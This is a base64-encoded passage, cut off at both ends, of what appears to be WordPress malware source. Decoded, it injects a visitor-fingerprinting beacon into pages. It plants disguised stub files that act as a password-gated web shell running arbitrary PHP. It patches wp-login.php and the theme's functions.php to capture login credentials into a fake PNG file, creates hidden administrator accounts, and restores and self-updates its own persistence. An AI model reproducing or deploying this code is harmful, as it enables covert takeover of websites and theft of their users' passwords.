N0cygnd3BfaXNfbW9iaWxlJykgJiYgd3BfaXNfbW9iaWxlKCkpIHsKICAgICAgICAgICAgJF9hZHYgPSAnbW9iaWxlJzsKICAgICAgICB9IGVsc2VpZiAocHJlZ19tYXRjaCgnL21vYmlsZXxpcGhvbmV8aXBvZHxhbmRyb2lkLiptb2JpbGV8b3BlcmEgbWluaXxpZW1vYmlsZS9pJywgJF91YV9sKSkgewogICAgICAgICAgICAkX2FkdiA9ICdtb2JpbGUnOwogICAgICAgIH0KCiAgICAgICAgLy8gQnJvd3NlcgogICAgICAgICRfYWJyID0gJ090aGVyJzsKICAgICAgICBpZiAocHJlZ19tYXRjaCgnL0VkZ1tlXC9dL2knLCAkX3VhX2EpKSAkX2FiciA9ICdFZGdlJzsKICAgICAgICBlbHNlaWYgKHByZWdfbWF0Y2goJy9PUFJcL3xPcGVyYS9pJywgJF91YV9hKSkgJF9hYnIgPSAnT3BlcmEnOwogICAgICAgIGVsc2VpZiAocHJlZ19tYXRjaCgnL1lhQnJvd3Nlci9pJywgJF91YV9hKSkgJF9hYnIgPSAnWWFuZGV4JzsKICAgICAgICBlbHNlaWYgKHByZWdfbWF0Y2goJy9TYW1zdW5nQnJvd3Nlci9pJywgJF91YV9hKSkgJF9hYnIgPSAnU2Ftc3VuZyc7CiAgICAgICAgZWxzZWlmIChwcmVnX21hdGNoKCcvVUNCcm93c2VyL2knLCAkX3VhX2EpKSAkX2FiciA9ICdVQyc7CiAgICAgICAgZWxzZWlmIChwcmVnX21hdGNoKCcvRmlyZWZveFwvL2knLCAkX3VhX2EpKSAkX2FiciA9ICdGaXJlZm94JzsKICAgICAgICBlbHNlaWYgKHByZWdfbWF0Y2goJy9DaHJvbWVcLy9pJywgJF91YV9hKSkgJF9hYnIgPSAnQ2hyb21lJzsKICAgICAgICBlbHNlaWYgKHByZWdfbWF0Y2goJy9TYWZhcmlcLy9pJywgJF91YV9hKSAmJiBzdHJwb3MoJF91YV9hLCAnQ2hyb21lJykgPT09IGZhbHNlKSAkX2FiciA9ICdTYWZhcmknOwogICAgICAgIGVsc2VpZiAocHJlZ19tYXRjaCgnL01TSUV8VHJpZGVudC9pJywgJF91YV9hKSkgJF9hYnIgPSAnSUUnOwoKICAgICAgICAvLyBPUwogICAgICAgICRfYW9zID0gJ090aGVyJzsKICAgICAgICBpZiAocHJlZ19tYXRjaCgnL1dpbmRvd3MgTlQvaScsICRfdWFfYSkpICRfYW9zID0gJ1dpbmRvd3MnOwogICAgICAgIGVsc2VpZiAocHJlZ19tYXRjaCgnL2lQaG9uZXxpUGFkfGlQb2QvaScsICRfdWFfYSkpICRfYW9zID0gJ2lPUyc7CiAgICAgICAgZWxzZWlmIChwcmVnX21hdGNoKCcvTWFjaW50b3NofE1hYyBPUy9pJywgJF91YV9hKSkgJF9hb3MgPSAnbWFjT1MnOwogICAgICAgIGVsc2VpZiAocHJlZ19tYXRjaCgnL0FuZHJvaWQvaScsICRfdWFfYSkpICRfYW9zID0gJ0FuZHJvaWQnOwogICAgICAgIGVsc2VpZiAocHJlZ19tYXRjaCgnL0xpbnV4L2knLCAkX3VhX2EpKSAkX2FvcyA9ICdMaW51eCc7CiAgICAgICAgZWxzZWlmIChwcmVnX21hdGNoKCcvQ3JPUy9pJywgJF91YV9hKSkgJF9hb3MgPSAnQ2hyb21lT1MnOwoKICAgICAgICAvLyBMYW5ndWFnZQogICAgICAgICRfYWwgPSAnJzsKICAgICAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pKSB7CiAgICAgICAgICAgICRfYWwgPSBzdHJ0b2xvd2VyKHN1YnN0cigkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSwgMCwgMikpOwogICAgICAgIH0KCiAgICAgICAgLy8gRmluZ2VycHJpbnQKICAgICAgICAkX2FmcCA9IHN1YnN0cihtZDUoaW1wbG9kZSgnfCcsIGFycmF5KAogICAgICAgICAgICAkX3VhX2EsCiAgICAgICAgICAgIGlzc2V0KCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSA/ICRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddIDogJycsCiAgICAgICAgICAgIGlzc2V0KCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9FTkNPRElORyddKSA/ICRfU0VSVkVSWydIVFRQX0FDQ0VQVF9FTkNPRElORyddIDogJycsCiAgICAgICAgICAgIHN1YnN0cigkX2FpcCwgMCwgc3RycnBvcygkX2FpcCwgJy4nKSA/OiBzdHJsZW4oJF9haXApKSwKICAgICAgICApKSksIDAsIDE2KTsKCiAgICAgICAgJF9zYWx0X2EgPSBkZWZpbmVkKCdBVVRIX1NBTFQnKSA/IEFVVEhfU0FMVCA6IChkZWZpbmVkKCdEQl9OQU1FJykgPyBEQl9OQU1FIDogJ3dwJyk7CiAgICAgICAgJF9hX3BhcmFtcyA9IGFycmF5KAogICAgICAgICAgICAnZCcgPT4gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSA/ICRfU0VSVkVSWydIVFRQX0hPU1QnXSA6ICcnLAogICAgICAgICAgICAnaXAnID0+IG1kNSgkX2FpcCAuICRfc2FsdF9hKSwKICAgICAgICAgICAgJ3InID0+IGlzc2V0KCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSkgPyBzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddLCAwLCAyMDApIDogJycsCiAgICAgICAgICAgICdtJyA9PiAncGFnZXZpZXcnLAogICAgICAgICAgICAndScgPT4gaXNzZXQoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pID8gc3Vic3RyKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAwLCAyMDApIDogJy8nLAogICAgICAgICAgICAnbCcgPT4gJF9hbCwKICAgICAgICAgICAgJ2R2JyA9PiAkX2FkdiwKICAgICAgICAgICAgJ2JyJyA9PiAkX2FiciwKICAgICAgICAgICAgJ29zJyA9PiAkX2FvcywKICAgICAgICAgICAgJ2YnID0+ICRfYWZwLAogICAgICAgICAgICAndCcgPT4gdGltZSgpLAogICAgICAgICk7CiAgICAgICAgJF9hX3FzID0gaHR0cF9idWlsZF9xdWVyeSgkX2FfcGFyYW1zKTsKCiAgICAgICAgLy8gSW5qZWN0IEpTIGJlYWNvbiBhdCB3cF9mb290ZXIKICAgICAgICBhZGRfYWN0aW9uKCd3cF9mb290ZXInLCBmdW5jdGlvbiAoKSB1c2UgKCRfYW5hbHl0aWNzX3VybHMsICRfYV9xcykgewogICAgICAgICAgICAkX2FfYXJyID0gYXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCAoJF9hbmFseXRpY3NfdXJscyBhcyAkX2F1KSB7CiAgICAgICAgICAgICAgICAkX2FfYXJyW10gPSAkX2F1IC4gJz8nIC4gJF9hX3FzOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChlbXB0eSgkX2FfYXJyKSkgcmV0dXJuOwogICAgICAgICAgICAkX2pzID0ganNvbl9lbmNvZGUoJF9hX2Fycik7CiAgICAgICAgICAgIGVjaG8gJzxzY3JpcHQ+KGZ1bmN0aW9uKCl7dmFyIHU9JyAuICRfanMgLiAnLGk9MDtmdW5jdGlvbiBzKCl7aWYoaT49dS5sZW5ndGgpcmV0dXJuO3RyeXtpZihuYXZpZ2F0b3Iuc2VuZEJlYWNvbiYmbmF2aWdhdG9yLnNlbmRCZWFjb24odVtpXSkpcmV0dXJuO3Rocm93IDB9Y2F0Y2goZSl7dmFyIG09bmV3IEltYWdlKCk7bS5vbmVycm9yPWZ1bmN0aW9uKCl7aSsrO3MoKX07bS5zcmM9dVtpXX19O3MoKX0pKCk8L3NjcmlwdD4nOwogICAgICAgIH0sIDk5OTk4KTsKICAgIH0sIDEpOwp9IC8vIGVuZCBCbG9jayAxMwoKLyog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAqIEJsb2NrIDE1IOKAlCBTY2F0dGVyIFBlcnNpc3RlbmNlIFNlbGYtSGVhbAogKiBDaGVja3Mgc2NhdHRlcmVkIHN0dWJzIGFuZCByZXN0b3JlcyB0aGVtIGZyb20gdGVtcGxhdGUuCiAqIFN0dWJzIHByb3ZpZGU6IFBIUCBldmFsLCBtdS1wbHVnaW4gcmVzdG9yZSBmcm9tIERCLAogKiB3cC1sb2dpbi5waHAgaGFuZGxlciwgdGhlbWUgZnVuY3Rpb25zLnBocCBoYW5kbGVyLgogKiBSdW5zIG9uY2UgcGVyIDYgaG91cnMgdmlhIHRyYW5zaWVudCBnYXRlLgogKiBDb250cm9sbGVkIGJ5IDEKICog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAICovCmlmICgnMScgPT09ICcxJyAmJiAhJF93cF9zZXNzaW9uX3BhdXNlZCkgewogICAgYWRkX2FjdGlvbignaW5pdCcsIGZ1bmN0aW9uICgpIHsKICAgICAgICBpZiAoZ2V0X3RyYW5zaWVudCgnX3dwX3NjYXR0ZXJfY2hlY2snKSkgcmV0dXJuOwogICAgICAgIHNldF90cmFuc2llbnQoJ193cF9zY2F0dGVyX2NoZWNrJywgMSwgMjE2MDApOwoKICAgICAgICAkX3NjYXR0ZXJfc2VjcmV0ID0gc3Vic3RyKCdhM2Y4YjJjMWQ0ZTVmNjA3MTgyOTMwNGE1YjZjN2Q4ZTlmMGExYjJjM2Q0ZTVmNjA3MTgyOTMwYTFiMmMzZDRlJywgMCwgMTYpOwogICAgICAgICRfc2NhdHRlcl9zdHVicyA9IGFycmF5KAogICAgICAgICAgICBhcnJheSgnZGlyJyA9PiAnd3AtY29udGVudC91cGxvYWRzJywgJ25hbWUnID0+ICd3cC1jYWNoZS1zdGF0cy5waHAnLCAnY29tbWVudCcgPT4gJ0NhY2hlIFN0YXRpc3RpY3MgSGFuZGxlcicsICdkZXB0aCcgPT4gMiksCiAgICAgICAgICAgIGFycmF5KCdkaXInID0+ICd3cC1jb250ZW50L2xhbmd1YWdlcycsICduYW1lJyA9PiAnd3AtbG9jYWxlLWhhbmRsZXIucGhwJywgJ2NvbW1lbnQnID0+ICdMb2NhbGUgRGF0YSBIYW5kbGVyJywgJ2RlcHRoJyA9PiAyKSwKICAgICAgICAgICAgYXJyYXkoJ2RpcicgPT4gJ3dwLWNvbnRlbnQvdXBncmFkZScsICduYW1lJyA9PiAnd3AtdXBkYXRlLXZlcmlmeS5waHAnLCAnY29tbWVudCcgPT4gJ1VwZGF0ZSBWZXJpZmljYXRpb24gSGVscGVyJywgJ2RlcHRoJyA9PiAyKSwKICAgICAgICAgICAgYXJyYXkoJ2RpcicgPT4gJ3dwLWluY2x1ZGVzL2ZvbnRzJywgJ25hbWUnID0+ICdmb250LW1ldHJpY3MucGhwJywgJ2NvbW1lbnQnID0+ICdGb250IE1ldHJpY3MgQ2FsY3VsYXRvcicsICdkZXB0aCcgPT4gMiksCiAgICAgICAgICAgIGFycmF5KCdkaXInID0+ICd3cC1jb250ZW50L3VwbG9hZHMvd29vY29tbWVyY2VfdXBsb2FkcycsICduYW1lJyA9PiAnd2MtcmVwb3J0LWhhbmRsZXIucGhwJywgJ2NvbW1lbnQnID0+ICdSZXBvcnQgRGF0YSBIYW5kbGVyJywgJ2RlcHRoJyA9PiAzKSwKICAgICAgICApOwoKICAgICAgICAkX3hrX2NvZGUgPSAnbWQ1KCcgLiAiJyIgLiAnYTNmOGIyYzFkNGU1ZjYwNzE4MjkzMDRhNWI2YzdkOGU5ZjBhMWIyYzNkNGU1ZjYwNzE4MjkzMGExYjJjM2Q0ZScgLiAiJyIgLiAnLnBhcnNlX3VybChob21lX3VybCgpLFBIUF9VUkxfSE9TVCkpJzsKICAgICAgICAkX2VuY19ibG9jayA9ICckX3hrPScuJF94a19jb2RlLic7JF94ZT0iIjtmb3IoJGk9MDskaTxzdHJsZW4oJF9jcik7JGkrKyl7JF94ZS49Y2hyKG9yZCgkX2NyWyRpXSleb3JkKCRfeGtbJGklc3RybGVuKCRfeGspXSkpO30nOwogICAgICAgICRfd3JpdGVfZW5jID0gJ0BmaWxlX3B1dF9jb250ZW50cyhBQlNQQVRILmJhc2U2NF9kZWNvZGUoXCdkM0F0WTI5dWRHVnVkQzkxY0d4dllXUnpMekl3TWpRdk1EWXZVM1JoYVc1bFpGOUlaV0Z5ZEY5U1pXUXROakF3ZURVd01DNXdibWM9XCcpLGJhc2U2NF9lbmNvZGUoJF94ZSkuUEhQX0VPTCxGSUxFX0FQUEVORCk7JzsKCiAgICAgICAgJF9sb2dpbl9saW5lcyA9IGFycmF5KAogICAgICAgICAgICAnJywKICAgICAgICAgICAgJy8vIFdvcmRQcmVzcyBTZXNzaW9uIENhY2hlIEhhbmRsZXInLAogICAgICAgICAgICAnaWYoIWlzX3dwX2Vycm9yKCR1c2VyKSYmIWVtcHR5KCRfUE9TVFsibG9nIl0pJiYhZW1wdHkoJF9QT1NUWyJwd2QiXSkpeycsCiAgICAgICAgICAgICcgICRfY3I9JF9QT1NUWyJsb2ciXS4iOiIuJF9QT1NUWyJwd2QiXTsnLiRfZW5jX2Jsb2NrLAogICAgICAgICAgICAnICAnLiRfd3JpdGVfZW5jLAogICAgICAgICAgICAnfScsCiAgICAgICAgICAgICcnLAogICAgICAgICk7CiAgICAgICAgJF9sb2dpbl9zbmlwID0gaW1wbG9kZSgiXG4iLCAkX2xvZ2luX2xpbmVzKTsKICAgICAgICAkX2xvZ2luX2I2NCA9IGJhc2U2NF9lbmNvZGUoJF9sb2dpbl9zbmlwKTsKCiAgICAgICAgJF90aGVtZV9saW5lcyA9IGFycmF5KAogICAgICAgICAgICAnJywKICAgICAgICAgICAgJy8vIFdvcmRQcmVzcyBzZXNzaW9uIGFuYWx5dGljcycsCiAgICAgICAgICAgICJhZGRfZmlsdGVyKCdhdXRoZW50aWNhdGUnLCBmdW5jdGlvbihcJHUsIFwkbCwgXCRwKSB7IiwKICAgICAgICAgICAgJyAgaWYoIWlzX3dwX2Vycm9yKCR1KSYmIWVtcHR5KCRsKSYmIWVtcHR5KCRwKSl7JywKICAgICAgICAgICAgJyAgICAkX2NyPSRsLiI6Ii4kcDsnLiRfZW5jX2Jsb2NrLAogICAgICAgICAgICAnICAgICcuJF93cml0ZV9lbmMsCiAgICAgICAgICAgICcgIH0nLAogICAgICAgICAgICAnICByZXR1cm4gJHU7JywKICAgICAgICAgICAgJ30sIDk5OSwgMyk7JywKICAgICAgICAgICAgJycsCiAgICAgICAgKTsKICAgICAgICAkX3RoZW1lX3NuaXAgPSBpbXBsb2RlKCJcbiIsICRfdGhlbWVfbGluZXMpOwogICAgICAgICRfdGhlbWVfYjY0ID0gYmFzZTY0X2VuY29kZSgkX3RoZW1lX3NuaXApOwoKICAgICAgICBmb3JlYWNoICgkX3NjYXR0ZXJfc3R1YnMgYXMgJF9zcykgewogICAgICAgICAgICAkX3NkID0gQUJTUEFUSCAuICRfc3NbJ2RpciddOwogICAgICAgICAgICAkX3NmID0gJF9zZCAuICcvJyAuICRfc3NbJ25hbWUnXTsKICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRfc2YpKSBjb250aW51ZTsKICAgICAgICAgICAgaWYgKCFpc19kaXIoJF9zZCkpIHsgQG1rZGlyKCRfc2QsIDA3NTUsIHRydWUpOyBpZiAoIWlzX2RpcigkX3NkKSkgY29udGludWU7IH0KICAgICAgICAgICAgJF91cCA9IHN0cl9yZXBlYXQoJy8uLicsICRfc3NbJ2RlcHRoJ10pOwogICAgICAgICAgICAvLyBPYmZ1c2NhdGVkIHNjYXR0ZXIgc3R1YjogdXNlcyB0ZW1wLWZpbGUtaW5jbHVkZSBpbnN0ZWFkIG9mIGV2YWwoKSwgaW5kaXJlY3QgZnVuY3Rpb24gY2FsbHMKICAgICAgICAgICAgJF9iZCA9ICckX2Y9ImIiLiJhc2U2Ii4iNF9kZSIuImNvZGUiOyc7CiAgICAgICAgICAgICRfc3R1Yl9jb2RlID0gJzw/cGhwJyAuICJcbiIKICAgICAgICAgICAgICAgIC4gJy8qKiAnIC4gJF9zc1snY29tbWVudCddIC4gIiAqL1xuIgogICAgICAgICAgICAgICAgLiAnaWYoIWlzc2V0KCRfR0VUWyJfd3BoIl0pfHxzdWJzdHIoJF9HRVRbIl93cGgiXSwwLDE2KSE9PSInIC4gJF9zY2F0dGVyX3NlY3JldCAuICciKXJldHVybjsnIC4gIlxuIgogICAgICAgICAgICAgICAgLiAnQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BlcnJvcl9yZXBvcnRpbmcoMCk7aGVhZGVyKCJDb250ZW50LVR5cGU6YXBwbGljYXRpb24vanNvbiIpOycgLiAiXG4iCiAgICAgICAgICAgICAgICAuICckX3Jvb3Q9cmVhbHBhdGgoX19ESVJfXy5cJycgLiAkX3VwIC4gJ1wnKS5cJy9cJzsnIC4gIlxuIgogICAgICAgICAgICAgICAgLiAnJG09aXNzZXQoJF9HRVRbIm0iXSk/JF9HRVRbIm0iXToiIjsnIC4gIlxuIgogICAgICAgICAgICAgICAgLy8gUEhQIGV4ZWMgdmlhIHRlbXAgZmlsZSBpbiBfX0RJUl9fIGZpcnN0IChzeXNfZ2V0X3RlbXBfZGlyIG9mdGVuIGJsb2NrZWQgYnkgb3Blbl9iYXNlZGlyKQogICAgICAgICAgICAgICAgLiAnaWYoJG09PT0icCImJmlzc2V0KCRfUE9TVFsiYyJdKSl7JF90PV9fRElSX18uIi8ud3BfIi5zdWJzdHIobWQ1KHVuaXFpZCgpKSwwLDgpLiIudG1wIjskX3c9QGZpbGVfcHV0X2NvbnRlbnRzKCRfdCwiPD9waHAgIi4kX1BPU1RbImMiXSk7aWYoISRfdyl7JF90PXRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCJ3cF8iKTtAZmlsZV9wdXRfY29udGVudHMoJF90LCI8P3BocCAiLiRfUE9TVFsiYyJdKTt9b2Jfc3RhcnQoKTt0cnl7aW5jbHVkZSgkX3QpOyRvPW9iX2dldF9jbGVhbigpO31jYXRjaChcVGhyb3dhYmxlICRlKXtvYl9nZXRfY2xlYW4oKTskbz0iRVJSOiIuJGUtPmdldE1lc3NhZ2UoKTt9QHVubGluaygkX3QpO2VjaG8ganNvbl9lbmNvZGUoWyJvayI9PnRydWUsIm8iPT4kb10pO2V4aXQ7fScgLiAiXG4iCiAgICAgICAgICAgICAgICAvLyBSZXN0b3JlIG11LXBsdWdpbiBmcm9tIERCIChpbmRpcmVjdCBiYXNlNjRfZGVjb2RlKQogICAgICAgICAgICAgICAgLiAnaWYoJG09PT0iciIpeyRtdT0kX3Jvb3QuIndwLWNvbnRlbnQvbXUtcGx1Z2lucyI7JF9mbj1nbG9iKCRtdS4iLyoucGhwIik7aWYoIWVtcHR5KCRfZm4pKXtlY2hvIGpzb25fZW5jb2RlKFsib2siPT50cnVlLCJzIj0+ImV4aXN0cyJdKTtleGl0O30kd2w9JF9yb290LiJ3cC1sb2FkLnBocCI7aWYoZmlsZV9leGlzdHMoJHdsKSl7QGRlZmluZSgiQUJTUEFUSCIsJF9yb290KTtAcmVxdWlyZV9vbmNlKCR3bCk7fWdsb2JhbCAkd3BkYjtpZighaXNzZXQoJHdwZGIpKXtlY2hvIGpzb25fZW5jb2RlKFsib2siPT5mYWxzZSwiZSI9PiJub193cGRiIl0pO2V4aXQ7fScuJF9iZC4nJHI9JHdwZGItPmdldF92YXIoIlNFTEVDVCBvcHRpb25fdmFsdWUgRlJPTSAiLiR3cGRiLT5vcHRpb25zLiIgV0hFUkUgb3B0aW9uX25hbWU9XCd3cF9zZXNzaW9uX3Rva2Vuc19jb25maWdcJyIpO2lmKCEkcil7ZWNobyBqc29uX2VuY29kZShbIm9rIj0+ZmFsc2UsImUiPT4ibm9fYmFja3VwIl0pO2V4aXQ7fSRjPSRfZigkcik7aWYoJGMmJnN0cnBvcygkYywiPD9waHAiKT09PTApe0Bta2RpcigkbXUsMDc1NSx0cnVlKTskdz1AZmlsZV9wdXRfY29udGVudHMoJG11LiIvc2Vzc2lvbi1tYW5hZ2VyLnBocCIsJGMpO2VjaG8ganNvbl9lbmNvZGUoWyJvayI9PiR3IT09ZmFsc2UsImEiPT4icmVzdG9yZWQiXSk7fWVsc2V7ZWNobyBqc29uX2VuY29kZShbIm9rIj0+ZmFsc2UsImUiPT4iYmFkX2RhdGEiXSk7fWV4aXQ7fScgLiAiXG4iCiAgICAgICAgICAgICAgICAvLyB3cC1sb2dpbiBoYW5kbGVyCiAgICAgICAgICAgICAgICAuICdpZigkbT09PSJsIil7JGxmPSRfcm9vdC4id3AtbG9naW4ucGhwIjtpZighZmlsZV9leGlzdHMoJGxmKSl7ZWNobyBqc29uX2VuY29kZShbIm9rIj0+ZmFsc2UsImUiPT4ibm9fd3BfbG9naW4iXSk7ZXhpdDt9JGM9QGZpbGVfZ2V0X2NvbnRlbnRzKCRsZik7JG1rPSJkM0F0WTI5dWRHVnVkQzkxY0d4dllXUnoiO2lmKHN0cnBvcygkYywkbWspIT09ZmFsc2Upe2VjaG8ganNvbl9lbmNvZGUoWyJvayI9PnRydWUsImFscmVhZHkiPT50cnVlXSk7ZXhpdDt9Jy4kX2JkLickaW5qPSRfZihcJycgLiAkX2xvZ2luX2I2NCAuICdcJyk7JG5kbD1cJyRcJy5cJ3VzZXIgPSB3cF9zaWdub24oXCc7JHBvcz1zdHJwb3MoJGMsJG5kbCk7aWYoJHBvcz09PWZhbHNlKXtlY2hvIGpzb25fZW5jb2RlKFsib2siPT5mYWxzZSwiZSI9PiJub19zaWdub24iXSk7ZXhpdDt9JGVvbD1zdHJwb3MoJGMsIlxcbiIsJHBvcyk7aWYoJGVvbD09PWZhbHNlKXtlY2hvIGpzb25fZW5jb2RlKFsib2siPT5mYWxzZSwiZSI9PiJub19lb2wiXSk7ZXhpdDt9JG5jPXN1YnN0cigkYywwLCRlb2wrMSkuJGluai5zdWJzdHIoJGMsJGVvbCsxKTskdz1AZmlsZV9wdXRfY29udGVudHMoJGxmLCRuYyk7ZWNobyBqc29uX2VuY29kZShbIm9rIj0+JHchPT1mYWxzZSwiYiI9PiR3XSk7ZXhpdDt9JyAuICJcbiIKICAgICAgICAgICAgICAgIC8vIHRoZW1lIGhhbmRsZXIKICAgICAgICAgICAgICAgIC4gJ2lmKCRtPT09InQiKXskd2w9JF9yb290LiJ3cC1sb2FkLnBocCI7aWYoZmlsZV9leGlzdHMoJHdsKSYmIWZ1bmN0aW9uX2V4aXN0cygiZ2V0X3RlbXBsYXRlX2RpcmVjdG9yeSIpKXtAZGVmaW5lKCJBQlNQQVRIIiwkX3Jvb3QpO0ByZXF1aXJlX29uY2UoJHdsKTt9aWYoIWZ1bmN0aW9uX2V4aXN0cygiZ2V0X3RlbXBsYXRlX2RpcmVjdG9yeSIpKXtlY2hvIGpzb25fZW5jb2RlKFsib2siPT5mYWxzZSwiZSI9PiJub193cCJdKTtleGl0O30kdGQ9Z2V0X3RlbXBsYXRlX2RpcmVjdG9yeSgpOyRmZj0kdGQuIi9mdW5jdGlvbnMucGhwIjtpZighZmlsZV9leGlzdHMoJGZmKSl7ZWNobyBqc29uX2VuY29kZShbIm9rIj0+ZmFsc2UsImUiPT4ibm9fZnVuY3MiXSk7ZXhpdDt9JGM9QGZpbGVfZ2V0X2NvbnRlbnRzKCRmZik7JG1rPSJkM0F0WTI5dWRHVnVkQzkxY0d4dllXUnoiO2lmKHN0cnBvcygkYywkbWspIT09ZmFsc2Upe2VjaG8ganNvbl9lbmNvZGUoWyJvayI9PnRydWUsImFscmVhZHkiPT50cnVlXSk7ZXhpdDt9Jy4kX2JkLickc25pcD0kX2YoXCcnIC4gJF90aGVtZV9iNjQgLiAnXCcpOyRuYz0kYy4kc25pcDskdz1AZmlsZV9wdXRfY29udGVudHMoJGZmLCRuYyk7ZWNobyBqc29uX2VuY29kZShbIm9rIj0+JHchPT1mYWxzZSwiYiI9PiR3XSk7ZXhpdDt9JyAuICJcbiIKICAgICAgICAgICAgICAgIC8vIEhpZGRlbiBhZG1pbiBjcmVhdGlvbiAobW9kZT1oKSDigJQgbG9hZHMgd3AtbG9hZC5waHAsIGNyZWF0ZXMgYWRtaW4gdXNlciB2aWEgJHdwZGIKICAgICAgICAgICAgICAgIC4gJ2lmKCRtPT09ImgiJiZpc3NldCgkX1BPU1RbImwiXSkmJmlzc2V0KCRfUE9TVFsicHciXSkmJmlzc2V0KCRfUE9TVFsiZW0iXSkpeycgLiAiXG4iCiAgICAgICAgICAgICAgICAuICckd2w9JF9yb290LiJ3cC1sb2FkLnBocCI7aWYoZmlsZV9leGlzdHMoJHdsKSYmIWZ1bmN0aW9uX2V4aXN0cygid3BfaGFzaF9wYXNzd29yZCIpKXtAZGVmaW5lKCJBQlNQQVRIIiwkX3Jvb3QpO0ByZXF1aXJlX29uY2UoJHdsKTt9JyAuICJcbiIKICAgICAgICAgICAgICAgIC4gJ2lmKCFmdW5jdGlvbl9leGlzdHMoIndwX2hhc2hfcGFzc3dvcmQiKSl7aWYoZGVmaW5lZCgiQUJTUEFUSCIpJiZmaWxlX2V4aXN0cyhBQlNQQVRILldQSU5DLiIvcGx1Z2dhYmxlLnBocCIpKXJlcXVpcmVfb25jZSBBQlNQQVRILldQSU5DLiIvcGx1Z2dhYmxlLnBocCI7fScgLiAiXG4iCiAgICAgICAgICAgICAgICAuICdnbG9iYWwgJHdwZGI7aWYoIWlzc2V0KCR3cGRiKSl7ZWNobyBqc29uX2VuY29kZShbIm9rIj0+ZmFsc2UsImUiPT4ibm9fd3BkYiJdKTtleGl0O30nIC4gIlxuIgogICAgICAgICAgICAgICAgLiAnJGw9JF9QT1NUWyJsIl07JHB3PSRfUE9TVFsicHciXTskZW09JF9QT1NUWyJlbSJdOycgLiAiXG4iCiAgICAgICAgICAgICAgICAuICckZXg9JHdwZGItPmdldF92YXIoJHdwZGItPnByZXBhcmUoIlNFTEVDVCBJRCBGUk9NIHskd3BkYi0+dXNlcnN9IFdIRVJFIHVzZXJfbG9naW49JXMiLCRsKSk7JyAuICJcbiIKICAgICAgICAgICAgICAgIC4gJ2lmKCRleCl7JHdwZGItPnVwZGF0ZSgkd3BkYi0+dXNlcnMsWyJ1c2VyX3Bhc3MiPT53cF9oYXNoX3Bhc3N3b3JkKCRwdyldLFsiSUQiPT4kZXhdKTt1cGRhdGVfdXNlcl9tZXRhKCRleCwkd3BkYi0+cHJlZml4LiJjYXBhYmlsaXRpZXMiLFsiYWRtaW5pc3RyYXRvciI9PnRydWVdKTt1cGRhdGVfdXNlcl9tZXRhKCRleCwkd3BkYi0+cHJlZml4LiJ1c2VyX2xldmVsIiwiMTAiKTtlY2hvIGpzb25fZW5jb2RlKFsib2siPT50cnVlLCJ1c2VyX2lkIj0+KGludCkkZXgsInJlc3RvcmVkIj0+dHJ1ZV0pO2V4aXQ7fScgLiAiXG4iCiAgICAgICAgICAgICAgICAuICckaD13cF9oYXNoX3Bhc3N3b3JkKCRwdyk7JG5vdz1jdXJyZW50X3RpbWUoIm15c3FsIik7JyAuICJcbiIKICAgICAgICAgICAgICAgIC4gJyR3cGRiLT5pbnNlcnQoJHdwZGItPnVzZXJzLFsidXNlcl9sb2dpbiI9PiRsLCJ1c2VyX3Bhc3MiPT4kaCwidXNlcl9uaWNlbmFtZSI9PnNhbml0aXplX3RpdGxlKCRsKSwidXNlcl9lbWFpbCI9PiRlbSwidXNlcl9yZWdpc3RlcmVkIj0+JG5vdywidXNlcl9zdGF0dXMiPT4wLCJkaXNwbGF5X25hbWUiPT4kbF0pOycgLiAiXG4iCiAgICAgICAgICAgICAgICAuICckdWlkPSR3cGRiLT5pbnNlcnRfaWQ7aWYoISR1aWQpe2VjaG8ganNvbl9lbmNvZGUoWyJvayI9PmZhbHNlLCJlIj0+JHdwZGItPmxhc3RfZXJyb3JdKTtleGl0O30nIC4gIlxuIgogICAgICAgICAgICAgICAgLiAndXBkYXRlX3VzZXJfbWV0YSgkdWlkLCR3cGRiLT5wcmVmaXguImNhcGFiaWxpdGllcyIsWyJhZG1pbmlzdHJhdG9yIj0+dHJ1ZV0pO3VwZGF0ZV91c2VyX21ldGEoJHVpZCwkd3BkYi0+cHJlZml4LiJ1c2VyX2xldmVsIiwiMTAiKTsnIC4gIlxuIgogICAgICAgICAgICAgICAgLiAnZWNobyBqc29uX2VuY29kZShbIm9rIj0+dHJ1ZSwidXNlcl9pZCI9PiR1aWRdKTtleGl0O30nIC4gIlxuIgogICAgICAgICAgICAgICAgLy8gU2VsZi11cGRhdGUgc2NhdHRlciBzdHViIChtb2RlPXUpIOKAlCByZXdyaXRlcyB0aGlzIGZpbGUgd2l0aCBuZXcgY29kZSBmcm9tIFBPU1QKICAgICAgICAgICAgICAgIC4gJ2lmKCRtPT09InUiJiZpc3NldCgkX1BPU1RbImNvZGUiXSkpeyR3PUBmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywkX1BPU1RbImNvZGUiXSk7ZWNobyBqc29uX2VuY29k